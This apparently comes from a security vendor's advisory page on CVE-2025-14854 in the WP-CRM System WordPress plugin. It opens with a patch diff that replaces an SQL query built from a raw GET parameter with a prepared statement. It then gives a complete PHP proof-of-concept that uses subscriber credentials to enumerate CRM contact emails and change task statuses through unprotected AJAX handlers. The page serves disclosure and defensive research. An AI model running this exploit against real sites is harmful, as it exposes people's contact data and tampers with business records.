 	<h2><?php esc_html_e( 'Delete Entry', 'wp-crm-system' ); ?> - <a href="admin.php?page=wpcrm-settings&tab=recurring&subtab=recurring-entries" class="button-secondary"><?php esc_html_e( 'Cancel - Go Back', 'wp-crm-system' ); ?></a></h2>
 	<form method="post" action="" class="wp_crm_system_recurring_entries_form">
-		<?php $entry = $wpdb->get_row("SELECT * FROM " . $wpcrm_system_recurring_db_name . " WHERE id='" . $_GET['entry_id'] . "';"); ?>
+		<?php
+		// Security: Use prepared statement to prevent SQL injection
+		$entry_id = isset( $_GET['entry_id'] ) ? absint( $_GET['entry_id'] ) : 0;
+		$entry = null;
+		if ( $entry_id > 0 ) {
+			$entry = $wpdb->get_row( $wpdb->prepare(
+				"SELECT * FROM " . $wpcrm_system_recurring_db_name . " WHERE id = %d",
+				$entry_id
+			) );
+		}
+
+		// If entry not found or invalid ID, show error and exit
+		if ( ! $entry ) {
+			echo '<div class="error"><p>' . esc_html__( 'Invalid entry ID or entry not found.', 'wp-crm-system' ) . '</p></div>';
+			echo '</div>'; // Close wrap div
+			return;
+		}
+		?>
 		<p><?php esc_html_e( 'Recurring entry deletion is permanent and cannot be undone. No further recurring entries will be created for this entry.', 'wp-crm-system' ); ?></p>
 		<p><?php esc_html_e( 'Are you sure you wish to delete yes this entry?', 'wp-crm-system' ); ?></p>
 		<p>
--- a/wp-crm-system/wp-crm-system.php
+++ b/wp-crm-system/wp-crm-system.php
@@ -3,7 +3,7 @@
 Plugin Name: WP-CRM System – Manage Clients and Projects
 Plugin URI: https://www.wp-crm.com
 Description: A complete CRM for WordPress
-Version: 3.4.5
+Version: 3.4.6
 Author: Premium WordPress Support
 Author URI: https://www.wp-crm.com
 Text Domain: wp-crm-system
@@ -34,7 +34,7 @@
   define( 'WP_CRM_SYSTEM', __FILE__ );
 }
 if ( ! defined( 'WP_CRM_SYSTEM_VERSION' ) ) {
-  define( 'WP_CRM_SYSTEM_VERSION', '3.4.5' );
+  define( 'WP_CRM_SYSTEM_VERSION', '3.4.6' );
 }
 if( ! defined( 'WP_CRM_SYSTEM_URL' ) ) {
 	define( 'WP_CRM_SYSTEM_URL', plugins_url( '', __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14854 - WP-CRM System – Manage Clients and Projects <= 3.4.5 - Missing Authorization to Authenticated (Subscriber+) CRM Data Exposure and Task Modification

<?php
/**
 * Proof of Concept for CVE-2025-14854
 * Demonstrates unauthorized email enumeration and task status modification
 * Requires valid WordPress subscriber credentials
 */

$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Verify authentication by checking for admin bar
if (strpos($response, 'wp-admin-bar') === false) {
    die("Authentication failed. Check credentials.");
}

echo "[+] Successfully authenticated as: $usernamen";

// Step 2: Enumerate CRM contact emails via wpcrm_get_email_recipients
// This exploits the missing capability check in the AJAX handler
echo "[+] Attempting email enumeration...n";

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$search_terms = array('a', 'b', 'c', 'admin', 'test'); // Common search patterns

foreach ($search_terms as $term) {
    $post_data = array(
        'action' => 'wpcrm_get_email_recipients',
        'recipient' => $term
    );
    
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    
    // Parse JSON response containing contact emails
    $data = json_decode($response, true);
    
    if (is_array($data) && !empty($data)) {
        echo "[+] Found emails for term '$term':n";
        foreach ($data as $contact) {
            if (isset($contact['email'])) {
                echo "    - " . $contact['email'] . "n";
            }
        }
    }
}

// Step 3: Modify CRM task status via wpcrm_system_ajax_task_change_status
// This exploits the missing authorization check in task status updates
echo "n[+] Attempting task status modification...n";

// First, try to discover task IDs (could be brute-forced or from other leaks)
$task_ids = array(1, 2, 3, 4, 5); // Example task IDs
$statuses = array('not-started', 'in-progress', 'complete', 'on-hold');

foreach ($task_ids as $task_id) {
    $new_status = $statuses[array_rand($statuses)];
    
    $post_data = array(
        'action' => 'task_change_status',
        'post_id' => $task_id,
        'task_status' => $new_status
    );
    
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    
    // In vulnerable versions, successful updates return 'success'
    if (trim($response) === 'success') {
        echo "[+] Successfully changed task $task_id to status: $new_statusn";
    } elseif (strpos($response, 'fail') !== false) {
        echo "[-] Failed to modify task $task_id (may not exist)n";
    }
}

curl_close($ch);
echo "n[+] Proof of Concept completed.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School